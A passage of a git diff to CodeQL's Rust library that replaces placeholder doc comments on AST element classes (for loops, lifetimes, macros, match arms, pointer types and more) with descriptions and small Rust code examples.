codeql.rust.elements.ExternItem /** - * A ExternItemList. For example: + * A list of items inside an extern block. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * static BAR: i32; + * } * ``` */ final class ExternItemList = Impl::ExternItemList; diff --git a/rust/ql/lib/codeql/rust/elements/FieldList.qll b/rust/ql/lib/codeql/rust/elements/FieldList.qll index 4821f3dcd665..d12d95eda38a 100644 --- a/rust/ql/lib/codeql/rust/elements/FieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/FieldList.qll @@ -7,9 +7,14 @@ private import internal.FieldListImpl import codeql.rust.elements.AstNode /** - * A field of a variant. For example: + * A list of fields in a struct or enum variant. + * + * For example: * ```rust - * todo!() + * struct S {x: i32, y: i32} + * // ^^^^^^^^^^^^^^^^ + * enum E {A(i32, i32)} + * // ^^^^^^^^^^^^^ * ``` */ final class FieldList = Impl::FieldList; diff --git a/rust/ql/lib/codeql/rust/elements/FnPtrTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/FnPtrTypeRepr.qll index 290b9b9d8fd2..78fc00024ca0 100644 --- a/rust/ql/lib/codeql/rust/elements/FnPtrTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/FnPtrTypeRepr.qll @@ -10,9 +10,12 @@ import codeql.rust.elements.RetTypeRepr import codeql.rust.elements.TypeRepr /** - * A FnPtrTypeRepr. For example: + * A function pointer type. + * + * For example: * ```rust - * todo!() + * let f: fn(i32) -> i32; + * // ^^^^^^^^^^^^^^ * ``` */ final class FnPtrTypeRepr = Impl::FnPtrTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/ForExpr.qll b/rust/ql/lib/codeql/rust/elements/ForExpr.qll index cfb2586202ed..10247d0b909b 100644 --- a/rust/ql/lib/codeql/rust/elements/ForExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/ForExpr.qll @@ -10,9 +10,13 @@ import codeql.rust.elements.LoopingExpr import codeql.rust.elements.Pat /** - * A ForExpr. For example: + * A for loop expression. + * + * For example: * ```rust - * todo!() + * for x in 0..10 { + * println!("{}", x); + * } * ``` */ final class ForExpr = Impl::ForExpr; diff --git a/rust/ql/lib/codeql/rust/elements/ForTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/ForTypeRepr.qll index d734fdd82539..c52c92197bbb 100644 --- a/rust/ql/lib/codeql/rust/elements/ForTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/ForTypeRepr.qll @@ -8,9 +8,17 @@ import codeql.rust.elements.GenericParamList import codeql.rust.elements.TypeRepr /** - * A ForTypeRepr. For example: + * A higher-ranked trait bound. + * + * For example: * ```rust - * todo!() + * fn foo(value: T) + * where + * T: for<'a> Fn(&'a str) -> &'a str + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * { + * // ... + * } * ``` */ final class ForTypeRepr = Impl::ForTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/GenericArg.qll b/rust/ql/lib/codeql/rust/elements/GenericArg.qll index 0958b33326f3..39d7a3780b48 100644 --- a/rust/ql/lib/codeql/rust/elements/GenericArg.qll +++ b/rust/ql/lib/codeql/rust/elements/GenericArg.qll @@ -7,9 +7,12 @@ private import internal.GenericArgImpl import codeql.rust.elements.AstNode /** - * A GenericArg. For example: + * A generic argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo:: + * // ^^^^^^^^^^^ * ``` */ final class GenericArg = Impl::GenericArg; diff --git a/rust/ql/lib/codeql/rust/elements/GenericParam.qll b/rust/ql/lib/codeql/rust/elements/GenericParam.qll index a7569c08f999..eabdd2045220 100644 --- a/rust/ql/lib/codeql/rust/elements/GenericParam.qll +++ b/rust/ql/lib/codeql/rust/elements/GenericParam.qll @@ -7,9 +7,12 @@ private import internal.GenericParamImpl import codeql.rust.elements.AstNode /** - * A GenericParam. For example: + * A generic parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo(t: T, u: U) {} + * // ^ ^ * ``` */ final class GenericParam = Impl::GenericParam; diff --git a/rust/ql/lib/codeql/rust/elements/Impl.qll b/rust/ql/lib/codeql/rust/elements/Impl.qll index 868f5b6f2011..a1567f315820 100644 --- a/rust/ql/lib/codeql/rust/elements/Impl.qll +++ b/rust/ql/lib/codeql/rust/elements/Impl.qll @@ -13,9 +13,13 @@ import codeql.rust.elements.Visibility import codeql.rust.elements.WhereClause /** - * A Impl. For example: + * An `impl`` block. + * + * For example: * ```rust - * todo!() + * impl MyTrait for MyType { + * fn foo(&self) {} + * } * ``` */ final class Impl = Impl::Impl; diff --git a/rust/ql/lib/codeql/rust/elements/ImplTraitTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/ImplTraitTypeRepr.qll index 72aa3048363d..db797ed041fa 100644 --- a/rust/ql/lib/codeql/rust/elements/ImplTraitTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/ImplTraitTypeRepr.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.TypeBoundList import codeql.rust.elements.TypeRepr /** - * A ImplTraitTypeRepr. For example: + * An `impl Trait` type. + * + * For example: * ```rust - * todo!() + * fn foo() -> impl Iterator { 0..10 } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` */ final class ImplTraitTypeRepr = Impl::ImplTraitTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/InferTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/InferTypeRepr.qll index 79ff4934a562..db33570b0446 100644 --- a/rust/ql/lib/codeql/rust/elements/InferTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/InferTypeRepr.qll @@ -7,9 +7,12 @@ private import internal.InferTypeReprImpl import codeql.rust.elements.TypeRepr /** - * A InferTypeRepr. For example: + * An inferred type (`_`). + * + * For example: * ```rust - * todo!() + * let x: _ = 42; + * // ^ * ``` */ final class InferTypeRepr = Impl::InferTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/Item.qll b/rust/ql/lib/codeql/rust/elements/Item.qll index b95620551bad..c299b3d0b65a 100644 --- a/rust/ql/lib/codeql/rust/elements/Item.qll +++ b/rust/ql/lib/codeql/rust/elements/Item.qll @@ -5,12 +5,17 @@ private import internal.ItemImpl import codeql.rust.elements.Addressable +import codeql.rust.elements.MacroItems import codeql.rust.elements.Stmt /** - * A Item. For example: + * An item such as a function, struct, enum, etc. + * + * For example: * ```rust - * todo!() + * fn foo() {} + * struct S; + * enum E {} * ``` */ final class Item = Impl::Item; diff --git a/rust/ql/lib/codeql/rust/elements/ItemList.qll b/rust/ql/lib/codeql/rust/elements/ItemList.qll index 631b875820cf..fe912d5402ad 100644 --- a/rust/ql/lib/codeql/rust/elements/ItemList.qll +++ b/rust/ql/lib/codeql/rust/elements/ItemList.qll @@ -9,9 +9,14 @@ import codeql.rust.elements.Attr import codeql.rust.elements.Item /** - * A ItemList. For example: + * A list of items in a module or block. + * + * For example: * ```rust - * todo!() + * mod m { + * fn foo() {} + * struct S; + * } * ``` */ final class ItemList = Impl::ItemList; diff --git a/rust/ql/lib/codeql/rust/elements/LetElse.qll b/rust/ql/lib/codeql/rust/elements/LetElse.qll index 1129ae3ff72b..c1eb3df77086 100644 --- a/rust/ql/lib/codeql/rust/elements/LetElse.qll +++ b/rust/ql/lib/codeql/rust/elements/LetElse.qll @@ -8,9 +8,14 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.BlockExpr /** - * A LetElse. For example: + * An else block in a let-else statement. + * + * For example: * ```rust - * todo!() + * let Some(x) = opt else { + * return; + * }; + * // ^^^^^^ * ``` */ final class LetElse = Impl::LetElse; diff --git a/rust/ql/lib/codeql/rust/elements/Lifetime.qll b/rust/ql/lib/codeql/rust/elements/Lifetime.qll index 1540e02db123..5a0043dddd1a 100644 --- a/rust/ql/lib/codeql/rust/elements/Lifetime.qll +++ b/rust/ql/lib/codeql/rust/elements/Lifetime.qll @@ -7,9 +7,12 @@ private import internal.LifetimeImpl import codeql.rust.elements.UseBoundGenericArg /** - * A Lifetime. For example: + * A lifetime annotation. + * + * For example: * ```rust - * todo!() + * fn foo<'a>(x: &'a str) {} + * // ^^ ^^ * ``` */ final class Lifetime = Impl::Lifetime; diff --git a/rust/ql/lib/codeql/rust/elements/LifetimeArg.qll b/rust/ql/lib/codeql/rust/elements/LifetimeArg.qll index 35342e96c030..f3f3c98bed92 100644 --- a/rust/ql/lib/codeql/rust/elements/LifetimeArg.qll +++ b/rust/ql/lib/codeql/rust/elements/LifetimeArg.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.GenericArg import codeql.rust.elements.Lifetime /** - * A LifetimeArg. For example: + * A lifetime argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * let text: Text<'a>; + * // ^^ * ``` */ final class LifetimeArg = Impl::LifetimeArg; diff --git a/rust/ql/lib/codeql/rust/elements/LifetimeParam.qll b/rust/ql/lib/codeql/rust/elements/LifetimeParam.qll index f3aa605c665e..c47be28fee71 100644 --- a/rust/ql/lib/codeql/rust/elements/LifetimeParam.qll +++ b/rust/ql/lib/codeql/rust/elements/LifetimeParam.qll @@ -10,9 +10,12 @@ import codeql.rust.elements.Lifetime import codeql.rust.elements.TypeBoundList /** - * A LifetimeParam. For example: + * A lifetime parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo<'a>(x: &'a str) {} + * // ^^ * ``` */ final class LifetimeParam = Impl::LifetimeParam; diff --git a/rust/ql/lib/codeql/rust/elements/LogicalOperation.qll b/rust/ql/lib/codeql/rust/elements/LogicalOperation.qll index eaf1ff06b7d5..d0099be0b93c 100644 --- a/rust/ql/lib/codeql/rust/elements/LogicalOperation.qll +++ b/rust/ql/lib/codeql/rust/elements/LogicalOperation.qll @@ -1,3 +1,7 @@ +/** + * Provides classes for logical operations. + */ + private import codeql.rust.elements.Expr private import codeql.rust.elements.BinaryExpr private import codeql.rust.elements.PrefixExpr diff --git a/rust/ql/lib/codeql/rust/elements/MacroCall.qll b/rust/ql/lib/codeql/rust/elements/MacroCall.qll index b0985ea3fed8..7b8a591bb62e 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroCall.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroCall.qll @@ -13,9 +13,11 @@ import codeql.rust.elements.Path import codeql.rust.elements.TokenTree /** - * A MacroCall. For example: + * A macro invocation. + * + * For example: * ```rust - * todo!() + * println!("Hello, world!"); * ``` */ final class MacroCall = Impl::MacroCall; diff --git a/rust/ql/lib/codeql/rust/elements/MacroDef.qll b/rust/ql/lib/codeql/rust/elements/MacroDef.qll index 3ae14a9e6624..9bd06c4d156c 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroDef.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroDef.qll @@ -11,9 +11,13 @@ import codeql.rust.elements.TokenTree import codeql.rust.elements.Visibility /** - * A MacroDef. For example: + * A Rust 2.0 style declarative macro definition. + * + * For example: * ```rust - * todo!() + * pub macro vec_of_two($element:expr) { + * vec![$element, $element] + * } * ``` */ final class MacroDef = Impl::MacroDef; diff --git a/rust/ql/lib/codeql/rust/elements/MacroExpr.qll b/rust/ql/lib/codeql/rust/elements/MacroExpr.qll index 8085cabc3fe0..9b063903caa8 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroExpr.qll @@ -8,9 +8,11 @@ import codeql.rust.elements.Expr import codeql.rust.elements.MacroCall /** - * A MacroExpr. For example: + * A macro expression, representing the invocation of a macro that produces an expression. + * + * For example: * ```rust - * todo!() + * let y = vec![1, 2, 3]; * ``` */ final class MacroExpr = Impl::MacroExpr; diff --git a/rust/ql/lib/codeql/rust/elements/MacroItems.qll b/rust/ql/lib/codeql/rust/elements/MacroItems.qll index e189c0dca2e0..8fdcc3945f1c 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroItems.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroItems.qll @@ -8,10 +8,18 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.Item /** - * A sequence of items generated by a `MacroCall`. For example: + * A sequence of items generated by a macro. For example: * ```rust * mod foo{ * include!("common_definitions.rs"); + * + * #[an_attribute_macro] + * fn foo() { + * println!("Hello, world!"); + * } + * + * #[derive(Debug)] + * struct Bar; * } * ``` */ diff --git a/rust/ql/lib/codeql/rust/elements/MacroPat.qll b/rust/ql/lib/codeql/rust/elements/MacroPat.qll index 7bb99d04ec44..86516ba0e1b4 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroPat.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroPat.qll @@ -8,9 +8,20 @@ import codeql.rust.elements.MacroCall import codeql.rust.elements.Pat /** - * A MacroPat. For example: + * A macro pattern, representing the invocation of a macro that produces a pattern. + * + * For example: * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * Ok(_) + * }; + * } + * match x { + * my_macro!() => "matched", + * // ^^^^^^^^^^^ + * _ => "not matched", + * } * ``` */ final class MacroPat = Impl::MacroPat; diff --git a/rust/ql/lib/codeql/rust/elements/MacroRules.qll b/rust/ql/lib/codeql/rust/elements/MacroRules.qll index afaf41bd15a3..776069c2eb9c 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroRules.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroRules.qll @@ -11,9 +11,13 @@ import codeql.rust.elements.TokenTree import codeql.rust.elements.Visibility /** - * A MacroRules. For example: + * A macro definition using the `macro_rules!` syntax. * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * println!("This is a macro!"); + * }; + * } * ``` */ final class MacroRules = Impl::MacroRules; diff --git a/rust/ql/lib/codeql/rust/elements/MacroTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/MacroTypeRepr.qll index 780fb3d709cf..a9122156b8c4 100644 --- a/rust/ql/lib/codeql/rust/elements/MacroTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/MacroTypeRepr.qll @@ -8,9 +8,15 @@ import codeql.rust.elements.MacroCall import codeql.rust.elements.TypeRepr /** - * A MacroTypeRepr. For example: + * A type produced by a macro. + * + * For example: * ```rust - * todo!() + * macro_rules! macro_type { + * () => { i32 }; + * } + * type T = macro_type!(); + * // ^^^^^^^^^^^^^ * ``` */ final class MacroTypeRepr = Impl::MacroTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/MatchArmList.qll b/rust/ql/lib/codeql/rust/elements/MatchArmList.qll index ce9b1edf3299..664db7b53f2b 100644 --- a/rust/ql/lib/codeql/rust/elements/MatchArmList.qll +++ b/rust/ql/lib/codeql/rust/elements/MatchArmList.qll @@ -9,9 +9,16 @@ import codeql.rust.elements.Attr import codeql.rust.elements.MatchArm /** - * A MatchArmList. For example: + * A list of arms in a match expression. + * + * For example: * ```rust - * todo!() + * match x { + * 1 => "one", + * 2 => "two", + * _ => "other", + * } + * // ^^^^^^^^^^^ * ``` */ final class MatchArmList = Impl::MatchArmList; diff --git a/rust/ql/lib/codeql/rust/elements/MatchGuard.qll b/rust/ql/lib/codeql/rust/elements/MatchGuard.qll index 79f90f151c95..c6963bd1bfe8 100644 --- a/rust/ql/lib/codeql/rust/elements/MatchGuard.qll +++ b/rust/ql/lib/codeql/rust/elements/MatchGuard.qll @@ -8,9 +8,15 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.Expr /** - * A MatchGuard. For example: + * A guard condition in a match arm. + * + * For example: * ```rust - * todo!() + * match x { + * y if y > 0 => "positive", + * // ^^^^^^^ + * _ => "non-positive", + * } * ``` */ final class MatchGuard = Impl::MatchGuard; diff --git a/rust/ql/lib/codeql/rust/elements/Meta.qll b/rust/ql/lib/codeql/rust/elements/Meta.qll index 62b8e008ef7f..46fcafb43c2f 100644 --- a/rust/ql/lib/codeql/rust/elements/Meta.qll +++ b/rust/ql/lib/codeql/rust/elements/Meta.qll @@ -10,9 +10,17 @@ import codeql.rust.elements.Path import codeql.rust.elements.TokenTree /** - * A Meta. For example: + * A meta item in an attribute. + * + * For example: * ```rust - * todo!() + * #[unsafe(lint::name = "reason_for_bypass")] + * //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * #[deprecated(since = "1.2.0", note = "Use bar instead", unsafe=true)] + * //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * fn foo() { + * // ... + * } * ``` */ final class Meta = Impl::Meta; diff --git a/rust/ql/lib/codeql/rust/elements/Name.qll b/rust/ql/lib/codeql/rust/elements/Name.qll index 74c74acc44dd..fa81050f1c28 100644 --- a/rust/ql/lib/codeql/rust/elements/Name.qll +++ b/rust/ql/lib/codeql/rust/elements/Name.qll @@ -7,9 +7,12 @@ private import internal.NameImpl import codeql.rust.elements.AstNode /** - * A Name. For example: + * An identifier name. + * + * For example: * ```rust - * todo!() + * let foo = 1; + * // ^^^ * ``` */ final class Name = Impl::Name; diff --git a/rust/ql/lib/codeql/rust/elements/NameRef.qll b/rust/ql/lib/codeql/rust/elements/NameRef.qll index ed37aa7ca323..0ca979140ae2 100644 --- a/rust/ql/lib/codeql/rust/elements/NameRef.qll +++ b/rust/ql/lib/codeql/rust/elements/NameRef.qll @@ -7,9 +7,12 @@ private import internal.NameRefImpl import codeql.rust.elements.UseBoundGenericArg /** - * A NameRef. For example: + * A reference to a name. + * + * For example: * ```rust - * todo!() + * foo(); + * //^^^ * ``` */ final class NameRef = Impl::NameRef; diff --git a/rust/ql/lib/codeql/rust/elements/NeverTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/NeverTypeRepr.qll index 8eec61da0589..814173c4a8f7 100644 --- a/rust/ql/lib/codeql/rust/elements/NeverTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/NeverTypeRepr.qll @@ -7,9 +7,12 @@ private import internal.NeverTypeReprImpl import codeql.rust.elements.TypeRepr /** - * A NeverTypeRepr. For example: + * The never type `!`. + * + * For example: * ```rust - * todo!() + * fn foo() -> ! { panic!() } + * // ^ * ``` */ final class NeverTypeRepr = Impl::NeverTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/ParamList.qll b/rust/ql/lib/codeql/rust/elements/ParamList.qll index 4678b78c3e67..1b34446a657c 100644 --- a/rust/ql/lib/codeql/rust/elements/ParamList.qll +++ b/rust/ql/lib/codeql/rust/elements/ParamList.qll @@ -9,9 +9,12 @@ import codeql.rust.elements.Param import codeql.rust.elements.SelfParam /** - * A ParamList. For example: + * A list of parameters in a function, method, or closure declaration. + * + * For example: * ```rust - * todo!() + * fn foo(x: i32, y: i32) {} + * // ^^^^^^^^^^^^^ * ``` */ final class ParamList = Impl::ParamList; diff --git a/rust/ql/lib/codeql/rust/elements/ParenExpr.qll b/rust/ql/lib/codeql/rust/elements/ParenExpr.qll index 60466bdc7b7a..1233ac2b6af2 100644 --- a/rust/ql/lib/codeql/rust/elements/ParenExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/ParenExpr.qll @@ -8,9 +8,11 @@ import codeql.rust.elements.Attr import codeql.rust.elements.Expr /** - * A ParenExpr. For example: + * A parenthesized expression. + * + * For example: * ```rust - * todo!() + * (x + y) * ``` */ final class ParenExpr = Impl::ParenExpr; diff --git a/rust/ql/lib/codeql/rust/elements/ParenPat.qll b/rust/ql/lib/codeql/rust/elements/ParenPat.qll index 291ddb76152e..6789be949792 100644 --- a/rust/ql/lib/codeql/rust/elements/ParenPat.qll +++ b/rust/ql/lib/codeql/rust/elements/ParenPat.qll @@ -7,9 +7,12 @@ private import internal.ParenPatImpl import codeql.rust.elements.Pat /** - * A ParenPat. For example: + * A parenthesized pattern. + * + * For example: * ```rust - * todo!() + * let (x) = 1; + * // ^^^ * ``` */ final class ParenPat = Impl::ParenPat; diff --git a/rust/ql/lib/codeql/rust/elements/ParenTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/ParenTypeRepr.qll index 881d1a805fc8..8379443633f1 100644 --- a/rust/ql/lib/codeql/rust/elements/ParenTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/ParenTypeRepr.qll @@ -7,9 +7,12 @@ private import internal.ParenTypeReprImpl import codeql.rust.elements.TypeRepr /** - * A ParenTypeRepr. For example: + * A parenthesized type. + * + * For example: * ```rust - * todo!() + * let x: (i32); + * // ^^^^^ * ``` */ final class ParenTypeRepr = Impl::ParenTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/ParenthesizedArgList.qll b/rust/ql/lib/codeql/rust/elements/ParenthesizedArgList.qll index d32c2bf382cb..1d5b64d4d571 100644 --- a/rust/ql/lib/codeql/rust/elements/ParenthesizedArgList.qll +++ b/rust/ql/lib/codeql/rust/elements/ParenthesizedArgList.qll @@ -7,4 +7,18 @@ private import internal.ParenthesizedArgListImpl import codeql.rust.elements.AstNode import codeql.rust.elements.TypeArg +/** + * A parenthesized argument list as used in function traits. + * + * For example: + * ```rust + * fn call_with_42(f: F) -> i32 + * where + * F: Fn(i32, String) -> i32, + * // ^^^^^^^^^^^ + * { + * f(42, "Don't panic".to_string()) + * } + * ``` + */ final class ParenthesizedArgList = Impl::ParenthesizedArgList; diff --git a/rust/ql/lib/codeql/rust/elements/PathSegment.qll b/rust/ql/lib/codeql/rust/elements/PathSegment.qll index 5d7c2559ad23..3127947f7c3d 100644 --- a/rust/ql/lib/codeql/rust/elements/PathSegment.qll +++ b/rust/ql/lib/codeql/rust/elements/PathSegment.qll @@ -15,5 +15,11 @@ import codeql.rust.elements.TypeRepr /** * A path segment, which is one part of a whole path. + * For example: + * - `HashMap` + * - `HashMap` + * - `Fn(i32) -> i32` + * - `widgets(..)` + * - `` */ final class PathSegment = Impl::PathSegment; diff --git a/rust/ql/lib/codeql/rust/elements/PathTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/PathTypeRepr.qll index 684d4429e5f7..95ec6cc7ac85 100644 --- a/rust/ql/lib/codeql/rust/elements/PathTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/PathTypeRepr.qll @@ -8,7 +8,7 @@ import codeql.rust.elements.Path import codeql.rust.elements.TypeRepr /** - * A type referring to a path. For example: + * A path referring to a type. For example: * ```rust * type X = std::collections::HashMap; * type Y = X::Item; diff --git a/rust/ql/lib/codeql/rust/elements/PtrTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/PtrTypeRepr.qll index 219b8aad5652..865e0f097562 100644 --- a/rust/ql/lib/codeql/rust/elements/PtrTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/PtrTypeRepr.qll @@ -7,9 +7,13 @@ private import internal.PtrTypeReprImpl import codeql.rust.elements.TypeRepr /** - * A PtrTypeRepr. For example: + * A pointer type. + * + * For example: * ```rust - * todo!() + * let p: *const i32; + * let q: *mut i32; + * // ^^^^^^^^^ * ``` */ final class PtrTypeRepr = Impl::PtrTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/RefTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/RefTypeRepr.qll index 95e4e54196f8..7df3fcb128b4 100644 --- a/rust/ql/lib/codeql/rust/elements/RefTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/RefTypeRepr.qll @@ -8,9 +8,13 @@ import codeql.rust.elements.Lifetime import codeql.rust.elements.TypeRepr /** - * A RefTypeRepr. For example: + * A reference type. + * + * For example: * ```rust - * todo!() + * let r: &i32; + * let m: &mut i32; + * // ^^^^^^^^ * ``` */ final class RefTypeRepr = Impl::RefTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/Rename.qll b/rust/ql/lib/codeql/rust/elements/Rename.qll index 11b635b4af93..d201995dc65c 100644 --- a/rust/ql/lib/codeql/rust/elements/Rename.qll +++ b/rust/ql/lib/codeql/rust/elements/Rename.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.Name /** - * A Rename. For example: + * A rename in a use declaration. + * + * For example: * ```rust - * todo!() + * use foo as bar; + * // ^^^^^^ * ``` */ final class Rename = Impl::Rename; diff --git a/rust/ql/lib/codeql/rust/elements/RestPat.qll b/rust/ql/lib/codeql/rust/elements/RestPat.qll index 7a127cbc30a4..9c20f0c5c9b6 100644 --- a/rust/ql/lib/codeql/rust/elements/RestPat.qll +++ b/rust/ql/lib/codeql/rust/elements/RestPat.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.Attr import codeql.rust.elements.Pat /** - * A RestPat. For example: + * A rest pattern (`..`) in a tuple, slice, or struct pattern. + * + * For example: * ```rust - * todo!() + * let (a, .., z) = (1, 2, 3); + * // ^^ * ``` */ final class RestPat = Impl::RestPat; diff --git a/rust/ql/lib/codeql/rust/elements/RetTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/RetTypeRepr.qll index 05f7cc73e2c8..205044d56b2c 100644 --- a/rust/ql/lib/codeql/rust/elements/RetTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/RetTypeRepr.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.TypeRepr /** - * A RetTypeRepr. For example: + * A return type in a function signature. + * + * For example: * ```rust - * todo!() + * fn foo() -> i32 {} + * // ^^^^^^ * ``` */ final class RetTypeRepr = Impl::RetTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/ReturnTypeSyntax.qll b/rust/ql/lib/codeql/rust/elements/ReturnTypeSyntax.qll index 85c42a697f26..aff8ab93e00b 100644 --- a/rust/ql/lib/codeql/rust/elements/ReturnTypeSyntax.qll +++ b/rust/ql/lib/codeql/rust/elements/ReturnTypeSyntax.qll @@ -7,9 +7,22 @@ private import internal.ReturnTypeSyntaxImpl import codeql.rust.elements.AstNode /** - * A ReturnTypeSyntax. For example: + * A return type notation `(..)` to reference or bound the type returned by a trait method + * + * For example: * ```rust - * todo!() + * struct ReverseWidgets> { + * factory: F, + * } + * + * impl Factory for ReverseWidgets + * where + * F: Factory, + * { + * fn widgets(&self) -> impl Iterator { + * self.factory.widgets().rev() + * } + * } * ``` */ final class ReturnTypeSyntax = Impl::ReturnTypeSyntax; diff --git a/rust/ql/lib/codeql/rust/elements/SliceTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/SliceTypeRepr.qll index 051eceb5cc23..dfffccc0594d 100644 --- a/rust/ql/lib/codeql/rust/elements/SliceTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/SliceTypeRepr.qll @@ -7,9 +7,12 @@ private import internal.SliceTypeReprImpl import codeql.rust.elements.TypeRepr /** - * A SliceTypeRepr. For example: + * A slice type. + * + * For example: * ```rust - * todo!() + * let s: &[i32]; + * // ^^^^^ * ``` */ final class SliceTypeRepr = Impl::SliceTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/SourceFile.qll b/rust/ql/lib/codeql/rust/elements/SourceFile.qll index f0cb51d063c5..aaa7f1d7be48 100644 --- a/rust/ql/lib/codeql/rust/elements/SourceFile.qll +++ b/rust/ql/lib/codeql/rust/elements/SourceFile.qll @@ -9,9 +9,12 @@ import codeql.rust.elements.Attr import codeql.rust.elements.Item /** - * A SourceFile. For example: + * A source file. + * + * For example: * ```rust - * todo!() + * // main.rs + * fn main() {} * ``` */ final class SourceFile = Impl::SourceFile; diff --git a/rust/ql/lib/codeql/rust/elements/Static.qll b/rust/ql/lib/codeql/rust/elements/Static.qll index 74467dcb7053..2ddd82f25cd2 100644 --- a/rust/ql/lib/codeql/rust/elements/Static.qll +++ b/rust/ql/lib/codeql/rust/elements/Static.qll @@ -13,9 +13,11 @@ import codeql.rust.elements.TypeRepr import codeql.rust.elements.Visibility /** - * A Static. For example: + * A static item declaration. + * + * For example: * ```rust - * todo!() + * static X: i32 = 42; * ``` */ final class Static = Impl::Static; diff --git a/rust/ql/lib/codeql/rust/elements/StmtList.qll b/rust/ql/lib/codeql/rust/elements/StmtList.qll index df22f0cc703f..76a4b5d2c34a 100644 --- a/rust/ql/lib/codeql/rust/elements/StmtList.qll +++ b/rust/ql/lib/codeql/rust/elements/StmtList.qll @@ -10,9 +10,15 @@ import codeql.rust.elements.Expr import codeql.rust.elements.Stmt /** - * A StmtList. For example: + * A list of statements in a block. + * + * For example: * ```rust - * todo!() + * { + * let x = 1; + * let y = 2; + * } + * // ^^^^^^^^^ * ``` */ final class StmtList = Impl::StmtList; diff --git a/rust/ql/lib/codeql/rust/elements/Struct.qll b/rust/ql/lib/codeql/rust/elements/Struct.qll index b78254d87dc2..9b57316e0ec6 100644 --- a/rust/ql/lib/codeql/rust/elements/Struct.qll +++ b/rust/ql/lib/codeql/rust/elements/Struct.qll @@ -16,7 +16,10 @@ import codeql.rust.elements.WhereClause /** * A Struct. For example: * ```rust - * todo!() + * struct Point { + * x: i32, + * y: i32, + * } * ``` */ final class Struct = Impl::Struct; diff --git a/rust/ql/lib/codeql/rust/elements/StructExprFieldList.qll b/rust/ql/lib/codeql/rust/elements/StructExprFieldList.qll index 1ce9cd0c615c..091460538fc3 100644 --- a/rust/ql/lib/codeql/rust/elements/StructExprFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/StructExprFieldList.qll @@ -10,9 +10,12 @@ import codeql.rust.elements.Expr import codeql.rust.elements.StructExprField /** - * A StructExprFieldList. For example: + * A list of fields in a struct expression. + * + * For example: * ```rust - * todo!() + * Foo { a: 1, b: 2 } + * // ^^^^^^^^^^^ * ``` */ final class StructExprFieldList = Impl::StructExprFieldList; diff --git a/rust/ql/lib/codeql/rust/elements/StructField.qll b/rust/ql/lib/codeql/rust/elements/StructField.qll index 157849d45a69..6d363a17b12d 100644 --- a/rust/ql/lib/codeql/rust/elements/StructField.qll +++ b/rust/ql/lib/codeql/rust/elements/StructField.qll @@ -12,9 +12,12 @@ import codeql.rust.elements.TypeRepr import codeql.rust.elements.Visibility /** - * A StructField. For example: + * A field in a struct declaration. + * + * For example: * 